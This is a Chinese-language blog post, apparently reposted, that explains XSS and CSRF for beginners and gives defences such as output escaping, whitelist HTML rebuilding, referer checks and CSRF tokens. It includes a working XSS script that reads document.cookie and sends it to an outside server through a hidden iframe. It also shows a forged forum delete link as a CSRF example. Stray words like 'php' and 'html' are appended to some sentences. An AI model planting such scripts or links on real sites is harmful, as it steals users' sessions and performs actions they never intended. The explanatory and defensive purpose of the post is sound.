XSS和CSRF

這兩個關鍵詞也是老生常談了,可是還老是容易讓人忘記與搞混~。 XSS與CSRF這兩個關鍵詞時常被拉出來一塊兒比較(尤爲是面試),我在這裏也在寫一篇掃盲文,也幫本身整理一下知識脈絡。javascript

這篇文章會用盡可能「人話」的語言解釋這二個關鍵詞,讓同窗們對跨域,安全有更深一層次的瞭解。php

國際慣例,先上一下維基百科:html

XSS:跨站腳本(Cross-site scripting,一般簡稱爲XSS)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。 I CSRF:跨站請求僞造(英語:Cross-site request forgery),也被稱爲 one-click attack 或者 session riding,一般縮寫爲 CSRF 或者 XSRF, 是一種挾制用戶在當前已登陸的Web應用程序上執行非本意的操做的攻擊方法。java

簡潔的說

XSS: 經過客戶端腳本語言(最多見如:JavaScript) 在一個論壇發帖中發佈一段惡意的JavaScript代碼就是腳本注入,若是這個代碼內容有請求外部服務器,那麼就叫作XSS!面試

CSRF:又稱XSRF,冒充用戶發起請求(在用戶不知情的狀況下),完成一些違背用戶意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)。數據庫

一般來講CSRF是由XSS實現的,因此CSRF時常也被稱爲XSRF[用XSS的方式實現僞造請求](但實現的方式毫不止一種,還能夠直接經過命令行模式(命令行敲命令來發起請求)直接僞造請求[只要經過合法驗證便可])。 XSS更偏向於代碼實現(即寫一段擁有跨站請求功能的JavaScript腳本注入到一條帖子裏,而後有用戶訪問了這個帖子,這就算是中了XSS攻擊了),CSRF更偏向於一個攻擊結果,只要發起了冒牌請求那麼就算是CSRF了。跨域

上代碼瀏覽器

場景:我在一條帖子裏面寫下了以下代碼,發了出去,而後陸陸續續有不少可愛(wu / zhi) 的用戶訪問到這個帖子,而後用戶接下來的全部操做都由我這串代碼掌控了(各類姿式混着玩~)安全

// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
    // 構造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 創建隱藏 iframe 用於通信
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 開工
    document.body.appendChild(hideFrame);
})(window, document);
複製代碼

此段代碼攜帶着cookie信息傳輸給了 http://192.168.123.123/myxss/... 這段服務器,而後服務器的代碼就能夠接收到了用戶的隱私消息,繼而繼續作其餘的業務處理(myxss/index.php 中寫一些可怕的代碼,如把用戶信息存進本身的數據庫)。bash

咱們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器作了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種作法的初衷也是防範 XSS,多多少少都起了一些做用,但不是老是有用,正如上面的注入代碼,用 iframe 也同樣能夠達到相同的目的。甚至在願意的狀況下,我還能用 iframe 發起 POST 請求。固然,如今一些瀏覽器可以很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這麼作。但攔截不老是能成功,況且這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用着可怕的 IE6。從原則上將,咱們也不該該把事關安全性的責任推脫給瀏覽器,因此防止 XSS 的根本之道仍是過濾用戶輸入。用戶輸入老是不可信任的,這點對於 Web 開發者應該是常識。

有沒感受到背後一寒

看到這裏感受到危險了吧(想一想初學程序時咱們的站點徹底沒有這個意識,活生生的是在裸奔),= 既然此段腳本注入能攜帶着用戶信息到收集服務器,那麼再研究研究,他天然能發郵件?發帖?一系列業務邏輯? ~~固然能夠!。

這裏tips一下:上面的代碼僅僅是XSS,並無發生CSRF,由於192.168.123.123/myxss/index.php 僅僅是把用戶信息存起來了而已,他並無「僞造」用戶發起一些請求,因此他只算是XSS攻擊而不算是CSRF攻擊,若是192.168.123.123/myxss/index.php 寫的代碼是 將當前用戶的暱稱改成「我是大笨豬」,那麼就算是CSRF攻擊了,由於這段代碼僞造用戶發出了請求(可是用戶卻不自知)。

預防xss

正如上文所說,若是咱們不須要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把全部用戶輸入進行 HTML 轉義輸出是個不錯的作法。彷佛不少 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版老是默認轉義輸出變量的。若是沒有使用它們,咱們本身也能夠這麼作。PHP 能夠用 htmlspecialchars 函數,Python 能夠導入 cgi 模塊用其中的 cgi.escape 函數。若是使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。

真正麻煩的是,在一些場合咱們要容許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫能夠幫忙,但前提是咱們當心地使用。僅僅粗暴地去掉 script 標籤是沒有用的,任何一個合法 HTML 標籤均可以添加 onclick 一類的事件屬性來執行 JavaScript。對於複雜的狀況,我我的更傾向於使用簡單的方法處理,簡單的方法就是白名單從新整理。用戶輸入的 HTML 可能擁有很複雜的結構,但咱們並不將這些數據直接存入數據庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之因此不使用 XML 解析庫是由於 HTML 要求有較強的容錯性)。而後根據用戶原有的標籤屬性,從新構建 HTML 元素樹。構建的過程當中,全部的標籤、屬性都只從白名單中拿取。這樣能夠確保萬無一失——若是用戶的某種複雜輸入不能爲解析器所識別(前面說了 HTML 不一樣於 XML,要求有很強的容錯性),那麼它不會成爲漏網之魚,由於白名單從新整理的策略會直接丟棄掉這些未能識別的部分。最後得到的新 HTML 元素樹,咱們能夠拍胸脯保證——全部的標籤、屬性都來自白名單,必定不會遺漏。

如今看來,大多數 Web 開發者都瞭解 XSS 並知道如何防範,每每大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是因爲疏漏。我我的建議在使用模版引擎的 Web 項目中,開啓(或不要關閉)相似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不須要轉義的場合,咱們能夠用相似 {{ myvar | raw }} 的方式取消轉義。這種白名單式的作法,有助於下降咱們因爲疏漏留下 XSS 漏洞的風險。

另一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,因此不是開啓模版自動轉義能就能一勞永逸的。再加上這類應用每每須要跨域,開發者不得不本身打開危險的大門。這種狀況下,站點的安全很是依賴開發者的細心和應用上線前有效的測試。如今亦有很多開源的 XSS 漏洞測試軟件包(彷佛有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。無論怎麼說,我認爲從用戶輸入的地方把好關老是成本最低而又最有效的作法。

那麼下面我介紹一下最最簡單的CSRF攻擊(沒有用到XSS的哦): 一個論壇,通過個人屢次抓包分析(着重分析請求返回頭,請求返回體)瞭解到這個論壇的刪帖操做是觸發

csdnblog.com/bbs/delete_article.php?id=「X" 複製代碼

那麼,我只須要在論壇中發一帖,包含一連接:

www.csdnblog.com/bbs/delete_article.php?id=「X" 複製代碼

,只要有用戶點擊了這個連接,那麼ID爲X的這一篇文章就被刪掉了,並且是用戶徹底不知情的狀況(敲黑板狀:此處我可沒有寫XSS腳本哦,我純粹是發一個url地址出來而已,既然刪除操做能夠僞造,那麼只要我細細分析,其餘操做(發帖,更名字,發私信,只要是這個論壇具備的功能)我均可以僞造咯!

預防csrf

CSRF 的常規防護 CSRF 比較常規的防護方式是經過判斷來源和加 token。

判斷來源比較簡單,主要是判斷referer這個頭,若是不是本身的網站,就返回錯誤。

加 token 即一樣的隨機 token,在 cookies 中放一份,在表單中再放一份。這樣第三方網站就沒法獲取到這個 token 是什麼。

可是這樣作也有一個比較明顯的問題,就是沒法保證站內用戶的體驗。雖然你防了站外的攻擊,可是也下降了站內用戶的體驗。具體表如今若是同時打開多個表單,只有最後一個表單能成功提交。

相關文章
相關標籤/搜索